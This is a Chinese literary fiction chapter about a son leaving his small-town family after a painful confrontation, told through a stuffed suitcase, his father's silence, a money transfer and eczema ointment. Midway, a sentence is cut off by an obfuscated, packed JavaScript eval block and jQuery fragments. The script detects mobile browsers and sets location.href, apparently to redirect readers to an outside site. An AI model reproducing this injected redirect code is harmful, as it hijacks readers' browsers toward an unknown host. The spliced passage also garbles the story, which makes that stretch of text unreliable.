走的那天，平江县下起了冻雨。


    这不是北方的雪，是雨。雨水在落到地面的瞬间冻结成冰，给所有的物体——树枝、电线、栏杆，都裹上了一层晶莹剔透却又坚硬无比的壳。天空是铅灰色的，压得很低，仿佛抬手就能摸到那层湿冷的云底。


    卧室里，那只银灰色的24寸行李箱摊开在地上，像一只被开膛破肚的巨兽。


    母亲李秀兰跪在地上，正在进行一场艰难的缝合手术。箱子已经被塞满了，但她手里还拿着一瓶用矿泉水瓶装着的剁椒酱，试图寻找最后的缝隙。


    “妈，真装不下了。”陈叙站在旁边，看着母亲涨红的脸，“上海超市里什么都有，味道也差不多。”


    “差多了。”母亲头也不抬，手肘用力地顶着箱盖，“上海那是机器做的，这是你爸去乡下收的朝天椒，一刀一刀剁出来的。没防腐剂。”


    她终于在两件羽绒服的夹层里找到了一个空隙，把那个鼓鼓囊囊的塑料瓶硬塞了进去。瓶身被挤压变形，里面的红油晃动着，仿佛随时会爆裂开来。


    “你看，这不进去了？”母亲松了一口气，开始拉拉链。


    拉链发出尖锐的嘶鸣，卡在转角处。母亲整个人的重量都压了上去，膝盖顶着箱面，牙齿咬着下嘴唇，脸上的皱纹因为用力而挤在了一起。


    陈叙看着这一幕，心里泛起一阵酸楚的无力感。


    这只箱子就是他与这个家的隐喻。父母试图把自己认为最好的、但也许并不适合他的东西，强行塞进他的人生里。他们不管那个空间是否足够，也不管会不会挤压变形，他们只知道：这是家里的味道，你必须带走。


    “刺啦——”


    伴随着一声长响，拉链终于合拢了。箱子被撑得圆鼓鼓的，看起来岌岌可危。


    母亲扶着膝盖站起来，喘着粗气，拍了拍手：“好了。回去放冰箱，能吃半年。”


    陈叙提起箱子，沉得坠手。那里面装的不是食物，是这一年沉淀下来的、无法被消化的沉重爱意。


    “爸呢？”陈叙环顾四周。


    “在阳台收衣服吧。”母亲眼神闪烁了一下，去厨房拿那个装了煮鸡蛋的塑料袋。


    陈叙走到阳台。


    阳台没有封窗，冷风夹杂着冰粒扑面而来。陈卫国站在那里，背对着客厅，身上穿着那件深蓝色的夹克，领子竖着。


    他手里夹着烟，烟头在灰白色的雨雾中忽明忽暗。


    “爸，我走了。”陈叙喊了一声。


    陈卫国的背影僵了一下。他没有回头，只是抬起夹烟的那只手，在空中摆了摆。


    那是一个很奇怪的动作。不像是挥手告别，倒像是在驱赶面前恼人的烟雾，或者是在否定什么、拒绝什么。


    烟雾缭绕中，陈叙看到了父亲的后颈。那里的皮肤松弛、灰暗，深深的沟壑里藏着陈年的污垢和岁月。风吹乱了他稀疏的头发，露出一块苍白的头皮。


    他站在那里，像是一尊被遗忘在雨里的旧雕塑。


    昨晚那场关于“真相”的对话，像是一场没有硝烟的核爆。虽然房子没塌，人还活着，但有些东西已经变成了废墟。父亲选择了背对这片废墟，假装身后的一切都不存在。


    “路上滑，慢点。”


    父亲的声音传过来，很闷，被风吹散了大半，听不出情绪。


    陈叙站了几秒钟，看着那个倔强的、佝偻的背影。他想走过去，想说点什么，比如“对不起”，比如“保重”。


    但他最后只是动了动嘴唇，什么也没说。


    转身，提起那个沉重的箱子，走出了家门。


    老式楼道里阴冷潮湿。


    箱子的滚轮在水泥台阶上磕碰，发出“咚、咚、咚”的闷响。每一声都在空荡的楼道里回荡，像是某种沉重的倒计时。


    陈叙一级一级地下楼。每下一层，那种压在胸口的窒息感就减轻一分，但随之而来的是一种空落落的牵扯感。


    出租车已经在楼下等着了。


    陈叙把箱子塞进后备箱，坐进了后座。车厢里开着暖气，有着一股陈旧的皮革味和司机留下的烟味。


    “去高铁站？”司机问。


    “嗯。”


    车子启动，碾过地上的薄冰，发出咔嚓咔嚓的碎裂声。


    陈叙靠在椅背上，看着窗外飞速后退的县城。


    街道两旁的店铺都关着门，贴着红色的对联。路灯杆上挂着的红灯笼被雨淋湿了，颜色变得暗沉，像是一团团凝固的血块。这座小城在这个阴雨的清晨显得格外萧瑟，像是一个刚刚结束了狂欢、正在收拾残局的疲惫老人。


    突然，陈叙感觉脖子上有点痒。


    一开始只是轻微的刺痒，像是有蚂蚁在爬。他下意识地伸手去挠，指尖触碰到了一片粗糙的凸起。


    湿疹犯了。


    这是他的身体对这片土地最诚实的反应。


    每次回来，只要超过三天，南方的湿气和家里那种粘稠的氛围，就会诱发他免疫系统的过度防御。红斑会顺着锁骨蔓延到脖颈，然后在离开的那一天达到顶峰。


    他用力地抓挠着，指甲划过皮肤发出沙沙声。痛感稍微压制了痒意，但很快，更剧烈的痒从皮肤深处泛上来，钻心蚀骨。


    皮肉在燃烧。


    那是他对“家”的过敏反应。他在排斥这里，同时也被这里排斥。


    手机在口袋里震动了一下。


    陈叙拿出来，屏幕的光在昏暗的车厢里有些刺眼。


    是一条微信转账。


    来自“陈卫国”。


    金额：5000.00。


    没有备注，没有说明。就是一个冷冰冰的数字，在这个黄色的转账框里显得格外醒目。


    紧接着，是一条语音。只有短短的五秒。


    陈叙的手指悬停在屏幕上方。他看着那个红色的“1”，犹豫了很久，最后还是点了下去。他把手机听筒贴在耳朵上，像是要听取一个来自另一个世界的判决。


    听筒里首先传来的是一阵嘈杂的风声，那是阳台上的风。


    然后是父亲的声音，含混不清，带着一种极力压抑的沙哑：


    “那个……钱拿着。别省。还有……那个治湿疹的药膏，我塞在你箱子侧面的袋子里了。到了记得擦。”


    语音戛然而止。


    陈叙维持着听电话的姿势，僵在那里。


    车窗外，雨越下越大，噼里啪啦地打在玻璃上，模糊了视线。


    父亲知道。


    他一直都知道。


    他知道陈叙有湿疹，知道陈叙对这个家“水土不服”，甚至可能早就隐约猜到了陈叙的秘密。


    但他什么都没说。他没有选择决裂，没有选择驱逐，也没有选择拥抱。


    他选择了塞一管药膏，转一笔钱。


    这是父亲能给出的最大限度的爱——一种带有回避性质的修补。他无法根治儿子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088242|195404||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心灵上的“病”，也无法接受儿子真实的“病”，所以他只能试图治好儿子皮肤上的病。


    他用这五千块钱和那一管药膏，买断了父子之间关于真相的对峙。


    他在告诉陈叙：别说了。我不想听。带着这笔钱，带着这管药，回到你的世界去吧。只要你过得好，只要你别把那些让我难堪的真相带回来，你就还是我的儿子。


    陈叙看着那个转账界面。


    他想点“收款”，手指却重得抬不起来；想回一句“谢谢爸”，喉咙却像是被棉花堵住了。


    最后，他锁上了屏幕，把手机反扣在大腿上。


    那五千块钱，像一块发烫的烙铁，隔着屏幕灼烧着他的皮肤。


    高铁站到了。


    巨大的进站大厅像一只白色的巨兽，吞吐着从各个县城汇聚而来的人流。


    陈叙拖着那个变形的箱子，混在人群里。周围是嘈杂的乡音，是孩子的哭闹，是广播里机械的女声。


    他没有回头。他知道身后没有人送别，那辆熟悉的黑色别克车并没有跟来。


    检票，进站，上车。


    商务座的车厢里很安静，恒温24度，空气里弥漫着淡淡的香氛味，干燥，清洁，文明。


    陈叙找到自己的座位，把那个沉重的、沾满了泥水和烟火气的箱子塞进行李架。箱子进去的时候，发出一声沉闷的声响，像是某种彻底的割裂。


    他坐下来，调整好座椅，看着窗外。


    列车缓缓启动。站台上的灯光向后划去，拉成一条条光带。紧接着是县城边缘那些灰扑扑的楼房、烂尾的工地、枯黄的农田。


    速度越来越快，窗外的景色变成了一片模糊的灰绿。


    脖子上的痒意越来越剧烈，火烧火燎。


    陈叙想起了父亲的话。


    他站起来，打开行李架上的箱子。在侧面的那个小袋子里，摸到了一个冰凉的硬物。


    是一管“皮炎平”。绿色的铁皮管，已经被挤得有些变形了，显然是家里没用完剩下的。


    陈叙坐回位置，拧开盖子。一股熟悉而刺鼻的薄荷脑味道弥漫开来。


    他挤出一点白色的药膏，涂在脖子上那片红肿的皮肤上。


    冰凉。


    那种极致的冰凉瞬间覆盖了灼热的痒意。药膏渗进皮肤，刺痛，然后是麻木。


    陈叙闭上眼睛，仰头靠在椅背上。


    这种药膏治不好湿疹，它只能暂时压制症状。等药效过了，等下一个阴雨天，或者等下一次他不得不再次面对那个家的时候，那些红斑还会卷土重来。


    这就像是他和父母的关系。


    没有和解，没有治愈，只有漫长的、反复发作的阵痛，以及为了止痛而涂抹的一层层厚厚的沉默与妥协。


    他不仅带走了母亲做的剁椒酱，带走了父亲给的钱，也带走了这身无法根治的“湿疹”。这片潮湿的江南，已经渗进了他的骨血里，成为了他基因的一部分。


    手机震动了一下。


    屏幕上跳出一行字：“陈卫国”的转账已自动退回。


    陈叙看着那行字，眼泪毫无预兆地砸在了手机屏幕上，晕开了一片水渍。


    列车呼啸着穿过漫长的隧道，将那片潮湿的南方雨季远远地甩在身后。前方是干燥的、明亮的、自由的，却也是孤独的荒原。


    而在他的脖颈上，那层白色的药膏正慢慢变得透明，渗入肌理，与他融为一体。